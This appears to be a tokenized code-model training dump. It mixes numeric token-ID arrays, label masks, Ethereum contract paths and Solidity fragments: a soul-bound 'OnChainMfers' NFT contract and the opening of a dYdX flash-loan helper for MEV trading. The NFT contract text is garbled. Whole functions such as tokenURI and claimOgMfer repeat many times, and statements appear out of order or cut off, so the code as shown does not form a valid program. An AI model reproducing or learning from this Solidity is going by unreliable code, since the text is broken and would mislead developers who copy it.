-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x508efB44A06a64Bd4020e8c5e8Ecf1A9236C75aE/sources/tokenWhitelist.sol
Flags if the token is available or not
bool available;
3,597,969
[ 1, 5094, 309, 326, 1147, 353, 2319, 578, 486, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1426, 2319, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xF647f29860335E064fAc9f1Fe28BC8C9fd5331b0/sources/contracts/Phase3_OnChainMfers.sol
_currentIndex = _startTokenId();/ all tokens in this contract are soul-bound, non-tradeable tokens they map back to the original mfer contract------------------------------------------------------------------------- contract shiz-------------------------------------------------------------------------
{ constructor() ERC721A("OnChainMfers", "SHDW") pragma solidity ^0.8.19; Note - Some modificaitons made to ERC721: blocked setApprovalForAll function blocked Approve function import "./ERC721A-OCMfers.sol"; import "./extras/SSTORE2.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; error ReallyWantToClaimThisForYouButTheFundsArentRight(); error WhoaFriendCantUpdateGoodiesForTokensYouDontOwn(); error WhyYouTryingToClaimOtherPeoplesTokens(); error YouWereTheLastToClaimThisTokenAlready(); error SorryCouldntWithdrawYourFundsDude(); error UmmDontThinkThisIsAnOgTokenId(); error WeDontDoThatAroundHere(); error WeSoulBoundFam(); contract OnChainMfers is ERC721A, Ownable, ReentrancyGuard { JeffFromAccounting = msg.sender; } uint256 public ClaimPrice; function updateClaimPrice(uint256 _newPrice) external onlyOwner { ClaimPrice = _newPrice; } mapping (uint256 => uint256) public TokenToDnaMap; mapping (uint256 => bool) public DnaToClaimedMap; mapping (uint256 => bool) public OgTokenToClaimedMap; mapping (uint256 => address) public OgTokenToLastClaimedMap; IOgMferContract private OgMferContract; function setOgMferContractAddress(address _newAddress) external onlyOwner { OgMferContract = IOgMferContract(address(_newAddress)); } IMferLayers private MferLayerContract; function setLayerContractAddress(address _newAddress) external onlyOwner { MferLayerContract = IMferLayers(address(_newAddress)); } function claimOgMfer(uint256 _tokenId) public payable { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); address ogOwner = OgMferContract.ownerOf(_tokenId); if(msg.sender != owner()) { if(msg.sender != ogOwner) revert WhyYouTryingToClaimOtherPeoplesTokens(); if(!OgTokenToClaimedMap[_tokenId] && msg.value != ClaimPrice) revert ReallyWantToClaimThisForYouButTheFundsArentRight(); } { OgTokenToClaimedMap[_tokenId] = true; } } function claimOgMfer(uint256 _tokenId) public payable { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); address ogOwner = OgMferContract.ownerOf(_tokenId); if(msg.sender != owner()) { if(msg.sender != ogOwner) revert WhyYouTryingToClaimOtherPeoplesTokens(); if(!OgTokenToClaimedMap[_tokenId] && msg.value != ClaimPrice) revert ReallyWantToClaimThisForYouButTheFundsArentRight(); } { OgTokenToClaimedMap[_tokenId] = true; } } if(!OgTokenToClaimedMap[_tokenId]) function claimOgMfer(uint256 _tokenId) public payable { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); address ogOwner = OgMferContract.ownerOf(_tokenId); if(msg.sender != owner()) { if(msg.sender != ogOwner) revert WhyYouTryingToClaimOtherPeoplesTokens(); if(!OgTokenToClaimedMap[_tokenId] && msg.value != ClaimPrice) revert ReallyWantToClaimThisForYouButTheFundsArentRight(); } { OgTokenToClaimedMap[_tokenId] = true; } } address originAddress = OgTokenToLastClaimedMap[_tokenId]; OgTokenToLastClaimedMap[_tokenId] = ogOwner; if(originAddress == ogOwner) revert YouWereTheLastToClaimThisTokenAlready(); emit Transfer(originAddress, ogOwner, _tokenId); function ownerOf(uint256 _tokenId) public view override returns (address) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); return OgMferContract.ownerOf(_tokenId); } function transferFrom(address from, address to, uint256 tokenId) public payable override { revert WeSoulBoundFam(); } function approve(address to, uint256 tokenId) public payable override { revert WeDontDoThatAroundHere(); } function setApprovalForAll(address operator, bool approved) public override { revert WeDontDoThatAroundHere(); } function _exists(uint256 tokenId) internal view override returns (bool) { return tokenId < 10021; } function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } uint256 tokenDNA = TokenToDnaMap[_tokenId]; bool GoodiesAreOn = (GoodiesEnabled && TokenToGoodiesMap[_tokenId]); IMferLayers.Trait memory trait; string memory metadata = string.concat( string memory svg = SvgStrings[0]; for(uint256 i=0; i<15; i++) function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } attIndex = getTraitIndex(tokenDNA, 14-i); if(attIndex == 0) function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } trait = MferLayerContract.getTrait(i); attIndex = attIndex-1; layer = trait.layers[attIndex]; svg = string.concat( if(i == 2) function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } if(i == GoodiesPosition && GoodiesAreOn) function tokenURI(uint256 _tokenId) public view override returns(string memory) { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(!OgTokenToClaimedMap[_tokenId]) { return string.concat(UnclaimedMetadata[0], _toString(_tokenId), UnclaimedMetadata[1], MferLayerContract.readLayerString(UnclaimedLayerData[0], UnclaimedLayerData[1]), UnclaimedMetadata[2]); } IMferLayers.Layer memory layer; uint256 attIndex; bool firstTraitFound; bool surpriseFound; MetadataStrings[0], _toString(_tokenId), MetadataStrings[1] ); { if(i == GoodiesPosition && GoodiesAreOn) { svg = string.concat( svg, DaGoodies[0] ); } { continue; } svg, getLayerSvg(layer) ); { if(attIndex == 6) { svg = string.concat( svg, getSurpriseString(0) ); surpriseFound = true; } else if(attIndex == 2) { svg = string.concat( svg, getSurpriseString(1) ); surpriseFound = true; } } { svg = string.concat( svg, DaGoodies[1] ); } metadata, firstTraitFound ? MetadataStrings[2] : MetadataStrings[3], trait.name, MetadataStrings[4], layer.name, MetadataStrings[5] ); } svg, surpriseFound ? SurpriseStuff : '', SvgStrings[6]); metadata, MetadataStrings[6], svg, MetadataStrings[7] ); } metadata = string.concat( firstTraitFound = true; svg = string.concat( metadata = string.concat( return metadata; function getLayerSvg(IMferLayers.Layer memory _layer) private view returns(string memory) { return string.concat( SvgStrings[1], _layer.name, SvgStrings[2], _toString(_layer.x), SvgStrings[3], _toString(_layer.y), SvgStrings[4], readPointerArray(_layer.pointers), SvgStrings[5] ); } string[7] private SvgStrings; function updateSvgStrings(uint256 _index, string memory _newString) external onlyOwner { SvgStrings[_index] = _newString; } string[8] private MetadataStrings; function updateMetadataStrings(uint256 _index, string memory _newString) external onlyOwner { MetadataStrings[_index] = _newString; } uint256[2] private UnclaimedLayerData; function updateUnclaimedLayerData(uint256 _traitIndex, uint256 _layerIndex) external onlyOwner { UnclaimedLayerData[0] = _traitIndex; UnclaimedLayerData[1] = _layerIndex; } string[3] private UnclaimedMetadata; function updateUnclaimedMetadata(uint256 _index, string memory _newString) external onlyOwner { UnclaimedMetadata[_index] = _newString; } string private SurpriseStuff; function updateSurpriseStuff(string memory _newString) external onlyOwner { SurpriseStuff = _newString; } function getSurpriseString(uint256 _index) private view returns(string memory) { IMferLayers.Layer memory tempLayer; if(_index == 0) { tempLayer = MferLayerContract.getLayer(2, 2); return string.concat( SvgStrings[1], tempLayer.name, SvgStrings[2], _toString(tempLayer.x), SvgStrings[3], _toString(tempLayer.y), "' visibility='hidden' href='data:image/png;charset=utf-8;base64,", readPointerArray(tempLayer.pointers), SvgStrings[5] ); } tempLayer = MferLayerContract.getLayer(2, 6); return string.concat( SvgStrings[1], tempLayer.name, SvgStrings[2], _toString(tempLayer.x), SvgStrings[3], _toString(tempLayer.y), "' visibility='hidden' href='data:image/png;charset=utf-8;base64,", readPointerArray(tempLayer.pointers), SvgStrings[5] ); } function getSurpriseString(uint256 _index) private view returns(string memory) { IMferLayers.Layer memory tempLayer; if(_index == 0) { tempLayer = MferLayerContract.getLayer(2, 2); return string.concat( SvgStrings[1], tempLayer.name, SvgStrings[2], _toString(tempLayer.x), SvgStrings[3], _toString(tempLayer.y), "' visibility='hidden' href='data:image/png;charset=utf-8;base64,", readPointerArray(tempLayer.pointers), SvgStrings[5] ); } tempLayer = MferLayerContract.getLayer(2, 6); return string.concat( SvgStrings[1], tempLayer.name, SvgStrings[2], _toString(tempLayer.x), SvgStrings[3], _toString(tempLayer.y), "' visibility='hidden' href='data:image/png;charset=utf-8;base64,", readPointerArray(tempLayer.pointers), SvgStrings[5] ); } function readPointerArray(address[] memory _pointers) public view returns(string memory) { if(_pointers.length == 0) { return ""; } string memory output; unchecked { do { output = string.concat(output, string(SSTORE2.read(_pointers[i]))); ++i; } while(i<_pointers.length); } return output; } function readPointerArray(address[] memory _pointers) public view returns(string memory) { if(_pointers.length == 0) { return ""; } string memory output; unchecked { do { output = string.concat(output, string(SSTORE2.read(_pointers[i]))); ++i; } while(i<_pointers.length); } return output; } uint256 i; function readPointerArray(address[] memory _pointers) public view returns(string memory) { if(_pointers.length == 0) { return ""; } string memory output; unchecked { do { output = string.concat(output, string(SSTORE2.read(_pointers[i]))); ++i; } while(i<_pointers.length); } return output; } function readPointerArray(address[] memory _pointers) public view returns(string memory) { if(_pointers.length == 0) { return ""; } string memory output; unchecked { do { output = string.concat(output, string(SSTORE2.read(_pointers[i]))); ++i; } while(i<_pointers.length); } return output; } function getTraitIndex(uint256 _intDna, uint256 _traitIndex) private pure returns(uint256) { uint256 bitMask = 255 << (8 * _traitIndex); uint256 value = (_intDna & bitMask) >> (8 * _traitIndex); return value; } uint256 public GoodiesPosition; function updateGoodiesPosition(uint256 _index) external onlyOwner { GoodiesPosition = _index; } string[2] public DaGoodies; function updateTheGoodies(uint256 _index, string memory _newString) external onlyOwner { DaGoodies[_index] = _newString; } bool public GoodiesEnabled; function toggleGoodiesEnabled() external onlyOwner { GoodiesEnabled = !GoodiesEnabled; } mapping(uint256 => bool) public TokenToGoodiesMap; function toggleTokenGoodies(uint256 _tokenId) public { if(!_exists(_tokenId)) revert UmmDontThinkThisIsAnOgTokenId(); if(msg.sender != ownerOf(_tokenId)) revert WhoaFriendCantUpdateGoodiesForTokensYouDontOwn(); TokenToGoodiesMap[_tokenId] = !TokenToGoodiesMap[_tokenId]; } function setOgDna(uint256 _tokenId, uint256 _dna) external onlyOwner { TokenToDnaMap[_tokenId] = _dna; DnaToClaimedMap[_dna] = true; } address private JeffFromAccounting; function updateAccountant(address _newAddress) external onlyOwner { JeffFromAccounting = _newAddress; } function moveThatGuap() public { if(!success) revert SorryCouldntWithdrawYourFundsDude(); } (bool success, ) = JeffFromAccounting.call{value: address(this).balance}(""); }
16,475,139
[ 1, 67, 2972, 1016, 273, 389, 1937, 1345, 548, 5621, 19, 777, 2430, 316, 333, 6835, 854, 272, 1003, 17, 3653, 16, 1661, 17, 20077, 429, 2430, 2898, 852, 1473, 358, 326, 2282, 312, 586, 6835, 5802, 8567, 1377, 6835, 699, 452, 5802, 8567, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 95, 203, 203, 203, 565, 3885, 1435, 4232, 39, 27, 5340, 37, 2932, 1398, 3893, 49, 18881, 3113, 315, 2664, 40, 59, 7923, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 3657, 31, 203, 203, 203, 565, 3609, 300, 10548, 681, 1507, 1540, 7008, 7165, 358, 4232, 39, 27, 5340, 30, 203, 3639, 14547, 444, 23461, 1290, 1595, 445, 203, 3639, 14547, 1716, 685, 537, 445, 203, 5666, 25165, 654, 39, 27, 5340, 37, 17, 51, 9611, 18881, 18, 18281, 14432, 203, 5666, 25165, 23687, 19, 55, 13651, 22, 18, 18281, 14432, 203, 5666, 8787, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 19, 3860, 19, 5460, 429, 18, 18281, 14432, 203, 5666, 8787, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 19, 7462, 19, 426, 8230, 12514, 16709, 18, 18281, 14432, 203, 203, 203, 1636, 868, 1230, 59, 970, 774, 9762, 2503, 1290, 6225, 31167, 1986, 42, 19156, 37, 547, 4726, 5621, 203, 1636, 3497, 11867, 42, 7522, 39, 970, 1891, 18195, 606, 1290, 5157, 6225, 40, 1580, 5460, 5621, 203, 1636, 3497, 93, 6225, 18038, 774, 9762, 8290, 52, 4361, 6089, 5157, 5621, 203, 1636, 4554, 59, 822, 1986, 3024, 774, 9762, 2503, 1345, 9430, 5621, 203, 1636, 348, 21637, 4445, 496, 1190, 9446, 15446, 42, 19156, 40, 1317, 5621, 203, 1636, 587, 7020, 40, 1580, 1315, 754, 2503, 2520, 979, 51, 75, 1345, 548, 5621, 203, 1636, 1660, 40, 1580, 3244, 18163, 30022, 26715, 5621, 203, 1636, 1660, 55, 1003, 3499, 42, 301, 5621, 203, 203, 203, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-05-01 */ pragma solidity =0.8.4; pragma experimental ABIEncoderV2; // Leak alpha for run and profit with https://twitter.com/mevalphaleak contract DyDxFlashLoanHelper { function marketIdFromTokenAddress(address tokenAddress) internal pure returns (uint256 resultId) { assembly { switch tokenAddress case 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 { resultId := 0 } case 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 { resultId := 2 } case 0x6B175474E89094C44Da98b954EedeAC495271d0F { resultId := 3 } default { revert(0, 0) } } } function wrapWithDyDx(address requiredToken, uint256 requiredBalance, bool requiredApprove, bytes calldata data) public { Types.ActionArgs[] memory operations = new Types.ActionArgs[](3); operations[0] = Types.ActionArgs({ actionType: Types.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: requiredBalance }), primaryMarketId: marketIdFromTokenAddress(requiredToken), secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); operations[1] = Types.ActionArgs({ actionType: Types.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); operations[2] = Types.ActionArgs({ actionType: Types.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: requiredBalance + (requiredToken == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ? 1 : 2) }), primaryMarketId: marketIdFromTokenAddress(requiredToken), secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); Types.AccountInfo[] memory accountInfos = new Types.AccountInfo[](1); accountInfos[0] = Types.AccountInfo({ owner: address(this), number: 1 }); if (requiredApprove) { // Approval might be already set or can be set inside of 'operations[1]' IERC20Token(requiredToken).approve( 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e, 0xffffffffffffffffffffffffffffffff // Max uint112 ); } ISoloMargin(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e).operate(accountInfos, operations); } } contract IAlphaLeakConstants { address internal constant TOKEN_WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address internal constant TOKEN_USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address internal constant TOKEN_DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address internal constant PROXY_DYDX = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; address internal constant ORACLE_USDC = 0x986b5E1e1755e3C2440e960477f25201B0a8bbD4; address internal constant ORACLE_DAI = 0x773616E4d11A78F511299002da57A0a94577F1f4; uint256 internal constant FLAG_TRANSFORM_ETH_TO_WETH_BEFORE_APE = 0x1; uint256 internal constant FLAG_TRANSFORM_WETH_TO_ETH_BEFORE_APE = 0x2; uint256 internal constant FLAG_TRANSFORM_ETH_TO_WETH_AFTER_APE = 0x4; uint256 internal constant FLAG_TRANSFORM_WETH_TO_ETH_AFTER_APE = 0x8; 